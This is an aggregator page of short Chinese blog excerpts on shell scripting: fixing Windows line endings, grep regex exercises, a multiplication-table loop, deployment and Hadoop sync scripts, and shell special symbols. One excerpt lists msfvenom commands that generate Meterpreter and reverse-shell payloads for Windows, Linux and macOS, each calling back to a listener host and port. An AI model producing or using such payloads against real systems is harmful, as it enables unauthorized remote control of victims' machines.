shell脚本

shell编程报错:“syntax error near unexpected token `”

北城余情 提交于 2020-03-07 04:59:03
今天写了两个shell脚本,授予权限之后执行出现问题“syntax error near unexpected token” 话不多说直接上解决方案 1)vi -b setup.sh 2)在命令编辑行<就是: 按ESC键 然后shift+:冒号>输入:%s/^M//g 注意一点 ,这个“^M”是输入ctrl+v和ctrl+M组成的 那么为什么会出现这种原因,我研究了一下 因为我用windows记事本打开过这个脚本,由于linux和windows里的换行符不一样导致了linux每一行后都有个^M,并且用vim看不出来脚本的变化 下面附上更详细的大神博客链接 shell编程报错:“syntax error near unexpected token `” 来源: CSDN 作者: 在下攻城巨炮狮 链接: https://blog.csdn.net/weixin_41911883/article/details/104704127

《云计算》-shell脚本编程-shell中的正则表达式

风流意气都作罢 提交于 2020-03-07 04:00:49
使用正则表达式 4.1 问题 本案例要求熟悉正则表达式的编写,完成以下任务: 利用egrep工具练习正则表达式的基本用法 提取出httpd.conf文件的有效配置行 编写正则表达式,分别匹配MAC地址、E-Mail邮箱地址 4.2 方案 表-1 基本正则列表 表-1 扩展正则列表 4.3 步骤 实现此案例需要按照如下步骤进行。 步骤一:正则表达式匹配练习 1)典型的应用场合:grep、egrep检索文本行 使用不带-E选项的grep命令时,支持基本正则匹配模式。比如“word”关键词检索、“^word”匹配以word开头的行、“word$”匹配以word结尾的行……等等。 输出以“r”开头的用户记录: [root@svr5 ~]# grep '^r' /etc/passwd root:x:0:0:root:/root:/bin/bash rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin 输出以“localhost”结尾的行: [root@svr5 ~]# grep 'localhost$' /etc/hosts 127.0.0.1 localhost.localdomain localhost

shell编程之99乘法表

核能气质少年 提交于 2020-03-06 18:38:54
#99乘法表#!/bin/bash #第一种写法 for i in `seq 9` #`seq 9` 使用反撇号括起来的(不是单引号),表示命令替换 do for j in `seq $i` #seq可以使用变量 do echo -ne "$j*$i=$[$j*$i]\t" # -n取消换行 -e 处理特殊字符,\t相当于tab键, done echo #作用:内层循环结束之后,进行换行 done #第二种写法 for a in {1..9} #{}将1~9列出,同上`seq 9` do for ((b=1;b<=$a;b++)) do echo -ne "$b*$a=$[$b*$a]\t" #[]也可以替换为(()) done echo done 第三种写法 for c in {1..9} do for d in {1..9} do if [ $d -le $c ];then #同上,当内层循环$d小于等于外层循环$c时 echo -ne "$d*$c=$[$d*$c]\t" fi done echo done 上述脚本执行结果如下:  来源: https://www.cnblogs.com/jrjs/p/11617227.html

msfvenom各平台payload生成

狂风中的少年 提交于 2020-03-06 18:07:49
二进制 windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。 Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f

发布SpringBoot程序的Shell脚本

谁说胖子不能爱 提交于 2020-03-06 12:48:28
#!/usr/bin/bash # 开发环境的部署脚本,没有回滚和判断是否已发布 DATE=$(date +%Y-%m-%d-%H-%M-%S) TARGET_SERVER="10.1.11.110" SOURCE_DIR=/opt TARGET_DIR=/data/yesway-cloud/${JOB_NAME} # 使用了git parameters插件 NAME=${DATE}-${git_branch/\//-} # 进入工作目录 cd_workspace() { cd ${WORKSPACE} } # 部署 scp_server() { for hosts in $TARGET_SERVER do # 拷贝到目标机 echo 'copy to target server......' scp target/*.jar root@${hosts}:/opt/${NAME}.jar ssh root@${hosts} "mkdir -p ${TARGET_DIR}/${NAME} && \ mv /opt/${NAME}.jar ${TARGET_DIR}/${NAME} && \ rm -f ${TARGET_DIR}/${JOB_NAME}.jar && \ ln -s ${TARGET_DIR}/${NAME}/${NAME}.jar ${TARGET_DIR}/$

Linux命令基础及shell基础

一世执手 提交于 2020-03-06 03:40:27
■Linux基本命令 进入当前目录下的文件夹 cd 文件夹名 进入从根目录算起的文件夹 cd / home / 文件夹名 返回上一级 cd . . 显示当前文件夹 pwd 给文件夹赋予访问权限 chmod 777 文件夹名 把windows文件转成unix文件(将windows的\r\n替换成\n) dos2unix 文件名 显示文件一览 dir ll ls 清屏 clear 创建文件夹 mkdir 创建文件 touch 文件名 复制文件 cp 源文件名 新文件名 执行shell脚本 bash xx . sh ■Shell 变量定义 str = abcd 变量使用 str1 = $str If判断(-d是判断文件夹是否存在 rm -rf是强制删除文件夹) if [ - d $folder ] ; then rm - rf $old_folder fi For循环(循环5次,从1到5,每次的值保存在num中,touch 是创建文件) for num in `seq 1 5` do touch $old_folder / CSV_OLD_ $ { num } . csv done 文件读取 # ! / bin / bash for i in `cat name.txt` ; do echo $i done 逐行读取放到变量数组里 cat property . ini | while

hadoop集群常用shell脚本

ぐ巨炮叔叔 提交于 2020-03-05 22:48:38
1.群发脚本XSync(xsync) # ! / bin / bash # 1 获取参数,如果不够直接退出 pcount = $# if ( ( pcount == 0 ) ) ; then echo no args ; exit ; fi # 2 获取文件名称 p1 = $ 1 fname = `basename $p1` echo fname = $fname # 3 获取上级目录到绝对路径 pdir = `cd - P $ ( dirname $p1 ) ; pwd` echo pdir = $pdir # 4 获取当前用户名称 user = `whoami` # 5 循环遍历工作主机 执行分发命令 for host in hadoop102 hadoop103 hadoop104 do echo -- -- -- -- -- -- -- -- -- - $host -- -- -- -- -- -- -- rsync - av $pdir / $fname $user@$host : $pdir done 2.群控命令脚本XCall(xcall) # ! / bin / bash #接收命令 params = $@ #验证参数 if ( ( $# == 0 ) ) then echo 请传入要执行的命令 ! exit ; fi echo "要执行的命令是:$params"

shell脚本编写习惯

淺唱寂寞╮ 提交于 2020-03-05 12:00:20
前言:在公众号看一篇比较不错的shell脚本文章,自己学习同时,加一些例子分享下,哪里做得不好,请多多指教哈 一.在脚本写注释 1 #脚本的参数 2 #脚本的用途 3 #脚本的注意事项 4 #脚本的写作时间,作者,版权等 5 #各个函数前的说明注释 6 #一些较复杂的单行命令注释 二、脚本中有命令运行失败时退出脚本 set -o errexit 或 set -e 例子:touch命令替换为touchs #!/bin/bash set -e number=1 echo $number touchs 1.txt set +e 执行脚本 sh test.sh test.sh: line 6: touchs: command not found 三、脚本中使用到未声明变量时退出脚本 set -o nounset 或 set-u   例子:number是未声明变量 #!/bin/bash set -u numbers=1 echo $number echo '哈哈' set +u 执行脚本 sh test.sh test.sh: line 5: number: unbound variable 四、使用双引号引用变量  例子:一个普通循环 例子 #!/bin/bash set -u for i in `seq 10`;do echo "$i" done 五、在脚本中多使用函数 #!/bin

shell 脚本post方式上传文件

久未见 提交于 2020-03-05 07:17:20
要批量上传一些数据,已经写好了文件上传的接口,现在需要把数据通过http的post 请求发送到服务上面 注意 file 和 接收端的 file 名字一样 curl -H "Expect:" -F 'file=@test_2020-03-03.txt' http://192.168.100.xx:xxxx/api 接收端: @PostMapping("/api") public @ResponseBody Map<String,Object> method(@RequestParam("file") MultipartFile file, HttpServletRequest request) throws UnsupportedEncodingException { //存放返回结果 Map<String,Object> result = new HashMap<String,Object>(); return result; } 搞定!!! 来源: CSDN 作者: 大广_08 链接: https://blog.csdn.net/yan88888888888888888/article/details/104633455

Shell中的特殊符号

无人久伴 提交于 2020-03-04 05:24:07
在Linux Shell中有很多的特殊符号,这对于我们写Shell脚本时要特别留意:一方面要知道这些特殊符号的用法,这些符号用好了可以达到事半功倍的效果;但另一方面要避免这些特殊符号的过度使用而导致脚本难以调试、难以阅读。 这些特殊符号罗列出来大致如下: # ; ;; . , / / ‘string'| ! $ ${} $? $$ $* “string”* ** ? : ^ $# $@ `command`{} [] [[]] () (()) || && {xx,yy,zz,…}~ ~+ ~- & / + – %= == != 输出/输入重导向: > >> < << : > &> 2&> 2<>>& >&2 下面就逐一介绍这些特殊符号的含义和用法…… # 井号 (comments) 这几乎是个满场都有的符号。 #!/bin/bash 井号也常出现在一行的开头,或者位于完整指令之后,这类情况表示符号后面的是注解文字,不会被执行。 # This line is comments. echo “a = $a” # a = 0 由于这个特性,当临时不想执行某行指令时,只需在该行开头加上 # 就行了。这常用在撰写过程中。 #echo “a = $a” # a = 0 如果被用在指令中,或者引号双引号括住的话,或者在倒斜线的后面,那他就变成一般符号,不具上述的特殊功能。 ~ 帐户的 home